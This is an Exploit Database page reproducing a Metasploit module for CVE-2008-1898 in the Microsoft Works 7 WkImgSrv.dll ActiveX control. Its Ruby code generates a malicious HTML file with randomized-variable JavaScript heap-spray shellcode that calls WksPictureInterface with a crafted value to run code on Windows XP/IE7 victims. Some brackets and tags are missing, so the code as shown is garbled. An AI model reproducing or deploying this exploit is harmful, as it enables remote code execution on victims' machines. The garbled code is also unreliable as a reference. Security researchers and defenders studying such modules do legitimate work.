Microsoft Works 7 – ‘WkImgSrv.dll’ WKsPictureInterface() ActiveX (Metasploit)

Exploit Database
109 阅读

作者： Metasploit

日期： 2010-09-25
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16649/

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# $Id: msworks_wkspictureinterface.rb 10477 2010-09-25 11:59:02Z mc $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = LowRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name' => 'Microsoft Works 7 WkImgSrv.dll WKsPictureInterface() ActiveX Exploit',

'Description'=> %q{

The Microsoft Works ActiveX control (WkImgSrv.dll) could allow a remote attacker

to execute arbitrary code on a system. By passing a negative integer to the

WksPictureInterface method, an attacker could execute arbitrary code on the system

with privileges of the victim. Change 168430090 /0X0A0A0A0A to 202116108 / 0x0C0C0C0C FOR IE6.

This control is not marked safe for scripting, please choose your attack vector carefully.

'License'=> MSF_LICENSE,

'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],

'Version'=> '$Revision: 10477 $',

'References' =>

[

[ 'CVE','2008-1898' ],

[ 'OSVDB', '44458'],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'DisablePayloadHandler' => 'true',

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00",

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP2-SP3 IE 7.0', { 'Ret' => 0x0A0A0A0A } ]

'DisclosureDate' => 'Nov 28 2008',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [ true, 'The file name.','msf.html']),

], self.class)

end

def exploit

# Encode the shellcode.

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Set the return.

ret = Rex::Text.to_unescape([target.ret].pack('L'))

# Randomize the javascript variable names.

vname= rand_text_alpha(rand(10) + 1)

var_i= rand_text_alpha(rand(10) + 1)

rand1= rand_text_alpha(rand(100) + 1)

rand2= rand_text_alpha(rand(100) + 1)

rand3= rand_text_alpha(rand(100) + 1)

rand4= rand_text_alpha(rand(100) + 1)

rand5= rand_text_alpha(rand(100) + 1)

rand6= rand_text_alpha(rand(100) + 1)

rand7= rand_text_alpha(rand(100) + 1)

content = %Q|

<html>

<body>

var #{rand1} = unescape('#{shellcode}');

var #{rand2} = unescape('#{ret}');

var #{rand3} = 20;

var #{rand4} = #{rand3} + #{rand1}.length;

while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};

var #{rand5} = #{rand2}.substring(0,#{rand4});

var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});

while (#{rand6}.length + #{rand4} < 0x10000) #{rand6} = #{rand6} + #{rand6} + #{rand5};

var #{rand7} = new Array();

for (#{var_i} = 0; #{var_i} < 1000; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }

#{vname}.WksPictureInterface = 168430090;

</script>

</body>

</html>

print_status("Creating HTML file ...")

file_create(content)

end